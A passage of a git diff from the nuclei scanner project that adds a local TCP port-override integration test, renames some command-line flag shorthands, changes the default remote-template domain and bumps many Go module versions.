{Path: "protocols/network/same-address.yaml", TestCase: &networkBasic{}},
|
||||
{Path: "protocols/network/network-port.yaml", TestCase: &networkPort{}},
|
||||
}
|
||||
|
||||
const defaultStaticPort = 5431
|
||||
@ -145,3 +147,62 @@ func (h *networkVariables) Execute(filePath string) error {
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type networkPort struct{}
|
||||
|
||||
func (n *networkPort) Execute(filePath string) error {
|
||||
ts := testutils.NewTCPServer(nil, 23846, func(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
|
||||
data := make([]byte, 4)
|
||||
if _, err := conn.Read(data); err != nil {
|
||||
return
|
||||
}
|
||||
if string(data) == "PING" {
|
||||
_, _ = conn.Write([]byte("PONG"))
|
||||
}
|
||||
})
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := expectResultsCount(results, 1); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// even though we passed port 443 in url it is ignored and port 23846 is used
|
||||
results, err = testutils.RunNucleiTemplateAndGetResults(filePath, strings.ReplaceAll(ts.URL, "23846", "443"), debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := expectResultsCount(results, 1); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// this is positive test case where we expect port to be overridden and 34567 to be used
|
||||
ts2 := testutils.NewTCPServer(nil, 34567, func(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
|
||||
data := make([]byte, 4)
|
||||
if _, err := conn.Read(data); err != nil {
|
||||
return
|
||||
}
|
||||
if string(data) == "PING" {
|
||||
_, _ = conn.Write([]byte("PONG"))
|
||||
}
|
||||
})
|
||||
defer ts2.Close()
|
||||
|
||||
// even though we passed port 443 in url it is ignored and port 23846 is used
|
||||
// instead of hardcoded port 23846 in template
|
||||
results, err = testutils.RunNucleiTemplateAndGetResults(filePath, ts2.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
@ -16,6 +16,7 @@ import (
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/gologger/levels"
|
||||
"github.com/projectdiscovery/interactsh/pkg/client"
|
||||
"github.com/projectdiscovery/nuclei/v2/internal/installer"
|
||||
"github.com/projectdiscovery/nuclei/v2/internal/runner"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/config"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/model/types/severity"
|
||||
@ -188,14 +189,14 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.StringSliceVarP(&options.NewTemplatesWithVersion, "new-templates-version", "ntv", nil, "run new templates added in specific version", goflags.CommaSeparatedStringSliceOptions),
|
||||
flagSet.BoolVarP(&options.AutomaticScan, "automatic-scan", "as", false, "automatic web scan using wappalyzer technology detection to tags mapping"),
|
||||
flagSet.StringSliceVarP(&options.Templates, "templates", "t", nil, "list of template or template directory to run (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.StringSliceVarP(&options.TemplateURLs, "template-url", "tu", nil, "list of template urls to run (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.StringSliceVarP(&options.TemplateURLs, "template-url", "turl", nil, "template url or list containing template urls to run (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.StringSliceVarP(&options.Workflows, "workflows", "w", nil, "list of workflow or workflow directory to run (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.StringSliceVarP(&options.WorkflowURLs, "workflow-url", "wu", nil, "list of workflow urls to run (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.StringSliceVarP(&options.WorkflowURLs, "workflow-url", "wurl", nil, "workflow url or list containing workflow urls to run (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.BoolVar(&options.Validate, "validate", false, "validate the passed templates to nuclei"),
|
||||
flagSet.BoolVarP(&options.NoStrictSyntax, "no-strict-syntax", "nss", false, "disable strict syntax check on templates"),
|
||||
flagSet.BoolVarP(&options.TemplateDisplay, "template-display", "td", false, "displays the templates content"),
|
||||
flagSet.BoolVar(&options.TemplateList, "tl", false, "list all available templates"),
|
||||
flagSet.StringSliceVarConfigOnly(&options.RemoteTemplateDomainList, "remote-template-domain", []string{"api.nuclei.sh"}, "allowed domain list to load remote templates from"),
|
||||
flagSet.StringSliceVarConfigOnly(&options.RemoteTemplateDomainList, "remote-template-domain", []string{"templates.nuclei.sh"}, "allowed domain list to load remote templates from"),
|
||||
flagSet.BoolVar(&options.SignTemplates, "sign", false, "signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable"),
|
||||
)
|
||||
|
||||
@ -392,6 +393,11 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
|
||||
gologger.DefaultLogger.SetTimestamp(options.Timestamp, levels.LevelDebug)
|
||||
|
||||
if options.VerboseVerbose {
|
||||
// hide release notes if silent mode is enabled
|
||||
installer.HideReleaseNotes = false
|
||||
}
|
||||
|
||||
if options.LeaveDefaultPorts {
|
||||
http.LeaveDefaultPorts = true
|
||||
}
|
||||
|
||||
60
v2/go.mod
@ -21,12 +21,12 @@ require (
|
||||
github.com/olekukonko/tablewriter v0.0.5
|
||||
github.com/pkg/errors v0.9.1
|
||||
github.com/projectdiscovery/clistats v0.0.19
|
||||
github.com/projectdiscovery/fastdialer v0.0.36
|
||||
github.com/projectdiscovery/hmap v0.0.15
|
||||
github.com/projectdiscovery/interactsh v1.1.4
|
||||
github.com/projectdiscovery/fastdialer v0.0.37
|
||||
github.com/projectdiscovery/hmap v0.0.18
|
||||
github.com/projectdiscovery/interactsh v1.1.6
|
||||
github.com/projectdiscovery/rawhttp v0.1.18
|
||||
github.com/projectdiscovery/retryabledns v1.0.35
|
||||
github.com/projectdiscovery/retryablehttp-go v1.0.24
|
||||
github.com/projectdiscovery/retryablehttp-go v1.0.26
|
||||
github.com/projectdiscovery/yamldoc-go v1.0.4
|
||||
github.com/remeh/sizedwaitgroup v1.0.0
|
||||
github.com/rs/xid v1.5.0
|
||||
@ -36,7 +36,7 @@ require (
|
||||
github.com/spf13/cast v1.5.1
|
||||
github.com/syndtr/goleveldb v1.0.0
|
||||
github.com/valyala/fasttemplate v1.2.2
|
||||
github.com/weppos/publicsuffix-go v0.30.1-0.20230422193905-8fecedd899db
|
||||
github.com/weppos/publicsuffix-go v0.30.2-0.20230730094716-a20f9abcc222
|
||||
github.com/xanzy/go-gitlab v0.84.0
|
||||
go.uber.org/multierr v1.11.0
|
||||
golang.org/x/net v0.14.0
|
||||
@ -59,17 +59,18 @@ require (
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.13.27
|
||||
github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.11.72
|
||||
github.com/aws/aws-sdk-go-v2/service/s3 v1.37.0
|
||||
github.com/charmbracelet/glamour v0.6.0
|
||||
github.com/docker/go-units v0.5.0
|
||||
github.com/dop251/goja v0.0.0-20230812105242-81d76064690d
|
||||
github.com/fatih/structs v1.1.0
|
||||
github.com/go-git/go-git/v5 v5.7.0
|
||||
github.com/h2non/filetype v1.1.3
|
||||
github.com/klauspost/compress v1.16.6
|
||||
github.com/klauspost/compress v1.16.7
|
||||
github.com/labstack/echo/v4 v4.10.2
|
||||
github.com/mholt/archiver v3.1.1+incompatible
|
||||
github.com/projectdiscovery/dsl v0.0.16
|
||||
github.com/projectdiscovery/dsl v0.0.21
|
||||
github.com/projectdiscovery/fasttemplate v0.0.2
|
||||
github.com/projectdiscovery/goflags v0.1.18
|
||||
github.com/projectdiscovery/goflags v0.1.20
|
||||
github.com/projectdiscovery/gologger v1.1.11
|
||||
github.com/projectdiscovery/gozero v0.0.0-20230510004414-f1d11fdaf5c6
|
||||
github.com/projectdiscovery/httpx v1.3.4
|
||||
@ -79,7 +80,7 @@ require (
|
||||
github.com/projectdiscovery/sarif v0.0.1
|
||||
github.com/projectdiscovery/tlsx v1.1.4
|
||||
github.com/projectdiscovery/uncover v1.0.6-0.20230601103158-bfd7e02a5bb1
|
||||
github.com/projectdiscovery/utils v0.0.51
|
||||
github.com/projectdiscovery/utils v0.0.54
|
||||
github.com/projectdiscovery/wappalyzergo v0.0.107
|
||||
github.com/stretchr/testify v1.8.4
|
||||
gopkg.in/src-d/go-git.v4 v4.13.1
|
||||
@ -91,7 +92,6 @@ require (
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.7.0 // indirect
|
||||
github.com/Azure/azure-sdk-for-go/sdk/internal v1.3.0 // indirect
|
||||
github.com/AzureAD/microsoft-authentication-library-for-go v1.0.0 // indirect
|
||||
github.com/Mzack9999/gostruct v0.0.0-20230415193108-30b70932da81 // indirect
|
||||
github.com/VividCortex/ewma v1.2.0 // indirect
|
||||
github.com/andybalholm/brotli v1.0.5 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.10 // indirect
|
||||
@ -100,22 +100,21 @@ require (
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.30 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.14.4 // indirect
|
||||
github.com/aymanbagabas/go-osc52/v2 v2.0.1 // indirect
|
||||
github.com/bits-and-blooms/bitset v1.3.1 // indirect
|
||||
github.com/bits-and-blooms/bloom/v3 v3.4.0 // indirect
|
||||
github.com/charmbracelet/glamour v0.6.0 // indirect
|
||||
github.com/bits-and-blooms/bitset v1.8.0 // indirect
|
||||
github.com/bits-and-blooms/bloom/v3 v3.5.0 // indirect
|
||||
github.com/cheggaaa/pb/v3 v3.1.4 // indirect
|
||||
github.com/cloudflare/cfssl v1.6.4 // indirect
|
||||
github.com/cloudflare/circl v1.3.3 // indirect
|
||||
github.com/dlclark/regexp2 v1.10.0 // indirect
|
||||
github.com/fatih/color v1.15.0 // indirect
|
||||
github.com/gabriel-vasile/mimetype v1.4.2 // indirect
|
||||
github.com/gaukas/godicttls v0.0.3 // indirect
|
||||
github.com/gaukas/godicttls v0.0.4 // indirect
|
||||
github.com/go-sourcemap/sourcemap v2.1.3+incompatible // indirect
|
||||
github.com/google/certificate-transparency-go v1.1.4 // indirect
|
||||
github.com/google/go-github/v30 v30.1.0 // indirect
|
||||
github.com/google/pprof v0.0.0-20230821062121-407c9e7a662f // indirect
|
||||
github.com/hashicorp/go-version v1.6.0 // indirect
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.5 // indirect
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.6 // indirect
|
||||
github.com/hbakhtiyor/strsim v0.0.0-20190107154042-4d2bbb273edf // indirect
|
||||
github.com/jmespath/go-jmespath v0.4.0 // indirect
|
||||
github.com/kataras/jwt v0.1.8 // indirect
|
||||
@ -131,16 +130,17 @@ require (
|
||||
github.com/projectdiscovery/asnmap v1.0.4 // indirect
|
||||
github.com/projectdiscovery/cdncheck v1.0.9 // indirect
|
||||
github.com/projectdiscovery/freeport v0.0.5 // indirect
|
||||
github.com/quic-go/quic-go v0.37.0 // indirect
|
||||
github.com/refraction-networking/utls v1.4.2 // indirect
|
||||
github.com/sashabaranov/go-openai v1.14.1 // indirect
|
||||
github.com/projectdiscovery/gostruct v0.0.1 // indirect
|
||||
github.com/quic-go/quic-go v0.38.1 // indirect
|
||||
github.com/refraction-networking/utls v1.5.2 // indirect
|
||||
github.com/sashabaranov/go-openai v1.14.2 // indirect
|
||||
github.com/shoenig/go-m1cpu v0.1.6 // indirect
|
||||
github.com/skeema/knownhosts v1.1.1 // indirect
|
||||
github.com/smartystreets/assertions v1.0.0 // indirect
|
||||
github.com/smartystreets/goconvey v1.6.4 // indirect
|
||||
github.com/tidwall/btree v1.6.0 // indirect
|
||||
github.com/tidwall/buntdb v1.3.0 // indirect
|
||||
github.com/tidwall/gjson v1.14.4 // indirect
|
||||
github.com/tidwall/gjson v1.16.0 // indirect
|
||||
github.com/tidwall/grect v0.1.4 // indirect
|
||||
github.com/tidwall/match v1.1.1 // indirect
|
||||
github.com/tidwall/pretty v1.2.1 // indirect
|
||||
@ -150,7 +150,7 @@ require (
|
||||
github.com/ysmood/got v0.34.1 // indirect
|
||||
github.com/yuin/goldmark v1.5.4 // indirect
|
||||
github.com/yuin/goldmark-emoji v1.0.1 // indirect
|
||||
go.uber.org/atomic v1.10.0 // indirect
|
||||
github.com/zeebo/blake3 v0.2.3 // indirect
|
||||
gopkg.in/djherbis/times.v1 v1.3.0 // indirect
|
||||
)
|
||||
|
||||
@ -163,9 +163,9 @@ require (
|
||||
github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751 // indirect
|
||||
github.com/alecthomas/units v0.0.0-20211218093645-b94a6e3cc137 // indirect
|
||||
github.com/andybalholm/cascadia v1.3.1 // indirect
|
||||
github.com/antchfx/xpath v1.2.3 // indirect
|
||||
github.com/antchfx/xpath v1.2.3
|
||||
github.com/aymerick/douceur v0.2.0 // indirect
|
||||
github.com/caddyserver/certmagic v0.17.2 // indirect
|
||||
github.com/caddyserver/certmagic v0.19.2 // indirect
|
||||
github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/dimchansky/utfbom v1.1.1 // indirect
|
||||
@ -181,21 +181,21 @@ require (
|
||||
github.com/golang/protobuf v1.5.3 // indirect
|
||||
github.com/golang/snappy v0.0.4 // indirect
|
||||
github.com/google/go-querystring v1.1.0 // indirect
|
||||
github.com/google/uuid v1.3.0 // indirect
|
||||
github.com/google/uuid v1.3.1 // indirect
|
||||
github.com/gorilla/css v1.0.0 // indirect
|
||||
github.com/hashicorp/go-cleanhttp v0.5.2 // indirect
|
||||
github.com/hashicorp/go-retryablehttp v0.7.2 // indirect
|
||||
github.com/hdm/jarm-go v0.0.7 // indirect
|
||||
github.com/iancoleman/orderedmap v0.0.0-20190318233801-ac98e3ecb4b0 // indirect
|
||||
github.com/itchyny/timefmt-go v0.1.5 // indirect
|
||||
github.com/klauspost/cpuid/v2 v2.1.1 // indirect
|
||||
github.com/klauspost/cpuid/v2 v2.2.5 // indirect
|
||||
github.com/leodido/go-urn v1.2.4 // indirect
|
||||
github.com/libdns/libdns v0.2.1 // indirect
|
||||
github.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3 // indirect
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
|
||||
github.com/mattn/go-isatty v0.0.19 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.14 // indirect
|
||||
github.com/mholt/acmez v1.0.4 // indirect
|
||||
github.com/mholt/acmez v1.2.0 // indirect
|
||||
github.com/microcosm-cc/bluemonday v1.0.25 // indirect
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
|
||||
github.com/modern-go/reflect2 v1.0.2 // indirect
|
||||
@ -217,16 +217,16 @@ require (
|
||||
github.com/ysmood/leakless v0.8.0 // indirect
|
||||
github.com/yusufpapurcu/wmi v1.2.3 // indirect
|
||||
github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248 // indirect
|
||||
github.com/zmap/zcrypto v0.0.0-20230422215203-9a665e1e9968 // indirect
|
||||
github.com/zmap/zcrypto v0.0.0-20230814193918-dbe676986518 // indirect
|
||||
go.etcd.io/bbolt v1.3.7 // indirect
|
||||
go.uber.org/zap v1.24.0 // indirect
|
||||
goftp.io/server/v2 v2.0.0 // indirect
|
||||
go.uber.org/zap v1.25.0 // indirect
|
||||
goftp.io/server/v2 v2.0.1 // indirect
|
||||
golang.org/x/crypto v0.12.0
|
||||
golang.org/x/exp v0.0.0-20230725093048-515e97ebf090
|
||||
golang.org/x/exp v0.0.0-20230817173708-d852ddb80c63
|
||||
golang.org/x/mod v0.12.0 // indirect
|
||||
golang.org/x/sys v0.11.0 // indirect
|
||||
golang.org/x/time v0.3.0 // indirect
|
||||
golang.org/x/tools v0.11.0 // indirect
|
||||
golang.org/x/tools v0.12.1-0.20230815132531-74c255bcf846 // indirect
|
||||
google.golang.org/appengine v1.6.7 // indirect
|
||||
google.golang.org/protobuf v1.31.0 // indirect
|
||||
gopkg.in/alecthomas/kingpin.v2 v2.2.6 // indirect
|
||||
|
||||
149
v2/go.sum
@ -26,10 +26,9 @@ github.com/Mzack9999/gcache v0.0.0-20230410081825-519e28eab057 h1:KFac3SiGbId8ub
|
||||
github.com/Mzack9999/gcache v0.0.0-20230410081825-519e28eab057/go.mod h1:iLB2pivrPICvLOuROKmlqURtFIEsoJZaMidQfCG1+D4=
|
||||
github.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809 h1:ZbFL+BDfBqegi+/Ssh7im5+aQfBRx6it+kHnC7jaDU8=
|
||||
github.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809/go.mod h1:upgc3Zs45jBDnBT4tVRgRcgm26ABpaP7MoTSdgysca4=
|
||||
github.com/Mzack9999/gostruct v0.0.0-20230415193108-30b70932da81 h1:rwHZjxG8Cx3+FNujiZRuJbYTLHmW8U9+6xIoTseKA/I=
|
||||
github.com/Mzack9999/gostruct v0.0.0-20230415193108-30b70932da81/go.mod h1:iXPMmoXMc0ZsSmbbHqhWCWd8w7FkXM7DU2IBf5OS+5g=
|
||||
github.com/Mzack9999/ldapserver v1.0.2-0.20211229000134-b44a0d6ad0dd h1:RTWs+wEY9efxTKK5aFic5C5KybqQelGcX+JdM69KoTo=
|
||||
github.com/Mzack9999/ldapserver v1.0.2-0.20211229000134-b44a0d6ad0dd/go.mod h1:AqtPw7WNT0O69k+AbPKWVGYeW94TqgMW/g+Ppc8AZr4=
|
||||
github.com/ProtonMail/go-crypto v0.0.0-20230217124315-7d5c6f04bbb8/go.mod h1:I0gYDMZ6Z5GRU7l58bNFSkPTFN6Yl12dsUlAZ8xy98g=
|
||||
github.com/ProtonMail/go-crypto v0.0.0-20230518184743-7afd39499903 h1:ZK3C5DtzV2nVAQTx5S5jQvMeDqWtD1By5mOoyY/xJek=
|
||||
github.com/ProtonMail/go-crypto v0.0.0-20230518184743-7afd39499903/go.mod h1:8TI4H3IbrackdNgv+92dI+rhpCaLqM0IfpgCgenFvRE=
|
||||
github.com/PuerkitoBio/goquery v1.8.1 h1:uQxhNlArOIdbrH1tr0UXwdVFgDcZDrZVdcpygAcwmWM=
|
||||
@ -113,17 +112,16 @@ github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiE
|
||||
github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8=
|
||||
github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk=
|
||||
github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4=
|
||||
github.com/benbjohnson/clock v1.1.0 h1:Q92kusRqC1XV2MjkWETPvjJVqKetz1OzxZB7mHJLju8=
|
||||
github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
|
||||
github.com/bits-and-blooms/bitset v1.3.1 h1:y+qrlmq3XsWi+xZqSaueaE8ry8Y127iMxlMfqcK8p0g=
|
||||
github.com/bits-and-blooms/bitset v1.3.1/go.mod h1:gIdJ4wp64HaoK2YrL1Q5/N7Y16edYb8uY+O0FJTyyDA=
|
||||
github.com/bits-and-blooms/bloom/v3 v3.4.0 h1:9zesenPR5M3SLIJ/esQ84o1eSVFY5Rw5d+pa1tiXQNA=
|
||||
github.com/bits-and-blooms/bloom/v3 v3.4.0/go.mod h1:bhUUknWd5khVbTe4UgMCSiOOVJzr3tMoijSK3WwvW90=
|
||||
github.com/benbjohnson/clock v1.3.0 h1:ip6w0uFQkncKQ979AypyG0ER7mqUSBdKLOgAle/AT8A=
|
||||
github.com/bits-and-blooms/bitset v1.8.0 h1:FD+XqgOZDUxxZ8hzoBFuV9+cGWY9CslN6d5MS5JVb4c=
|
||||
github.com/bits-and-blooms/bitset v1.8.0/go.mod h1:7hO7Gc7Pp1vODcmWvKMRA9BNmbv6a/7QIWpPxHddWR8=
|
||||
github.com/bits-and-blooms/bloom/v3 v3.5.0 h1:AKDvi1V3xJCmSR6QhcBfHbCN4Vf8FfxeWkMNQfmAGhY=
|
||||
github.com/bits-and-blooms/bloom/v3 v3.5.0/go.mod h1:Y8vrn7nk1tPIlmLtW2ZPV+W7StdVMor6bC1xgpjMZFs=
|
||||
github.com/bluele/gcache v0.0.2 h1:WcbfdXICg7G/DGBh1PFfcirkWOQV+v077yF1pSy3DGw=
|
||||
github.com/bluele/gcache v0.0.2/go.mod h1:m15KV+ECjptwSPxKhOhQoAFQVtUFjTVkc3H8o0t/fp0=
|
||||
github.com/bwesterb/go-ristretto v1.2.0/go.mod h1:fUIoIZaG73pV5biE2Blr2xEzDoMj7NFEuV9ekS419A0=
|
||||
github.com/caddyserver/certmagic v0.17.2 h1:o30seC1T/dBqBCNNGNHWwj2i5/I/FMjBbTAhjADP3nE=
|
||||
github.com/caddyserver/certmagic v0.17.2/go.mod h1:ouWUuC490GOLJzkyN35eXfV8bSbwMwSf4bdhkIxtdQE=
|
||||
github.com/caddyserver/certmagic v0.19.2 h1:HZd1AKLx4592MalEGQS39DKs2ZOAJCEM/xYPMQ2/ui0=
|
||||
github.com/caddyserver/certmagic v0.19.2/go.mod h1:fsL01NomQ6N+kE2j37ZCnig2MFosG+MIO4ztnmG/zz8=
|
||||
github.com/charmbracelet/glamour v0.6.0 h1:wi8fse3Y7nfcabbbDuwolqTqMQPMnVPeZhDM273bISc=
|
||||
github.com/charmbracelet/glamour v0.6.0/go.mod h1:taqWV4swIMMbWALc0m7AfE9JkPSU8om2538k9ITBxOc=
|
||||
github.com/cheggaaa/pb/v3 v3.1.4 h1:DN8j4TVVdKu3WxVwcRKu0sG00IIU6FewoABZzXbRQeo=
|
||||
@ -178,8 +176,8 @@ github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMo
|
||||
github.com/fsnotify/fsnotify v1.5.4 h1:jRbGcIw6P2Meqdwuo0H1p6JVLbL5DHKAKlYndzMwVZI=
|
||||
github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU=
|
||||
github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA=
|
||||
github.com/gaukas/godicttls v0.0.3 h1:YNDIf0d9adcxOijiLrEzpfZGAkNwLRzPaG6OjU7EITk=
|
||||
github.com/gaukas/godicttls v0.0.3/go.mod h1:l6EenT4TLWgTdwslVb4sEMOCf7Bv0JAK67deKr9/NCI=
|
||||
github.com/gaukas/godicttls v0.0.4 h1:NlRaXb3J6hAnTmWdsEKb9bcSBD6BvcIjdGdeb0zfXbk=
|
||||
github.com/gaukas/godicttls v0.0.4/go.mod h1:l6EenT4TLWgTdwslVb4sEMOCf7Bv0JAK67deKr9/NCI=
|
||||
github.com/gliderlabs/ssh v0.2.2/go.mod h1:U7qILu1NlMHj9FlMhZLlkCdDnU1DBEAqr0aevW3Awn0=
|
||||
github.com/gliderlabs/ssh v0.3.5 h1:OcaySEmAQJgyYcArR+gGGTHCyE7nvhEMTlYY+Dp8CpY=
|
||||
github.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376 h1:+zs/tPmkDkHx3U66DAb0lQFJrpS6731Oaa12ikc+DiI=
|
||||
@ -243,7 +241,7 @@ github.com/google/go-github v17.0.0+incompatible h1:N0LgJ1j65A7kfXrZnUDaYCs/Sf4r
|
||||
github.com/google/go-github v17.0.0+incompatible/go.mod h1:zLgOLi98H3fifZn+44m+umXrS52loVEgC2AApnigrVQ=
|
||||
github.com/google/go-github/v30 v30.1.0 h1:VLDx+UolQICEOKu2m4uAoMti1SxuEBAl7RSEG16L+Oo=
|
||||
github.com/google/go-github/v30 v30.1.0/go.mod h1:n8jBpHl45a/rlBUtRJMOG4GhNADUQFEufcolZ95JfU8=
|
||||
github.com/google/go-github/v50 v50.1.0/go.mod h1:Ev4Tre8QoKiolvbpOSG3FIi4Mlon3S2Nt9W5JYqKiwA=
|
||||
github.com/google/go-github/v50 v50.2.0/go.mod h1:VBY8FB6yPIjrtKhozXv4FQupxKLS6H4m6xFZlT43q8Q=
|
||||
github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck=
|
||||
github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8=
|
||||
github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU=
|
||||
@ -251,8 +249,8 @@ github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/
|
||||
github.com/google/pprof v0.0.0-20230207041349-798e818bf904/go.mod h1:uglQLonpP8qtYCYyzA+8c/9qtqgA3qsXGYqCPKARAFg=
|
||||
github.com/google/pprof v0.0.0-20230821062121-407c9e7a662f h1:pDhu5sgp8yJlEF/g6osliIIpF9K4F5jvkULXa4daRDQ=
|
||||
github.com/google/pprof v0.0.0-20230821062121-407c9e7a662f/go.mod h1:czg5+yv1E0ZGTi6S6vVK1mke0fV+FaUhNGcd6VRS9Ik=
|
||||
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
|
||||
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4=
|
||||
github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1 h1:EGx4pi6eqNxGaHF6qqu48+N2wcFQ5qg5FXgOdqsJ5d8=
|
||||
github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
|
||||
github.com/gorilla/css v1.0.0 h1:BQqNyPTi50JCFMTw/b67hByjMVXZRwGha6wxVGkeihY=
|
||||
@ -267,8 +265,8 @@ github.com/hashicorp/go-retryablehttp v0.7.2 h1:AcYqCvkpalPnPF2pn0KamgwamS42TqUD
|
||||
github.com/hashicorp/go-retryablehttp v0.7.2/go.mod h1:Jy/gPYAdjqffZ/yFGCFV2doI5wjtH1ewM9u8iYVjtX8=
|
||||
github.com/hashicorp/go-version v1.6.0 h1:feTTfFNnjP967rlCxM/I9g701jU+RN74YKx2mOkIeek=
|
||||
github.com/hashicorp/go-version v1.6.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA=
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.5 h1:wW7h1TG88eUIJ2i69gaE3uNVtEPIagzhGvHgwfx2Vm4=
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.5/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.6 h1:3xi/Cafd1NaoEnS/yDssIiuVeDVywU0QdFGl3aQaQHM=
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.6/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
|
||||
github.com/hbakhtiyor/strsim v0.0.0-20190107154042-4d2bbb273edf h1:umfGUaWdFP2s6457fz1+xXYIWDxdGc7HdkLS9aJ1skk=
|
||||
github.com/hbakhtiyor/strsim v0.0.0-20190107154042-4d2bbb273edf/go.mod h1:V99KdStnMHZsvVOwIvhfcUzYgYkRZeQWUtumtL+SKxA=
|
||||
github.com/hdm/jarm-go v0.0.7 h1:Eq0geenHrBSYuKrdVhrBdMMzOmA+CAMLzN2WrF3eL6A=
|
||||
@ -305,11 +303,12 @@ github.com/kevinburke/ssh_config v0.0.0-20190725054713-01f96b0aa0cd/go.mod h1:CT
|
||||
github.com/kevinburke/ssh_config v1.2.0 h1:x584FjTGwHzMwvHx18PXxbBVzfnxogHaAReU4gf13a4=
|
||||
github.com/kevinburke/ssh_config v1.2.0/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM=
|
||||
github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A=
|
||||
github.com/klauspost/compress v1.16.6 h1:91SKEy4K37vkp255cJ8QesJhjyRO0hn9i9G0GoUwLsk=
|
||||
github.com/klauspost/compress v1.16.6/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE=
|
||||
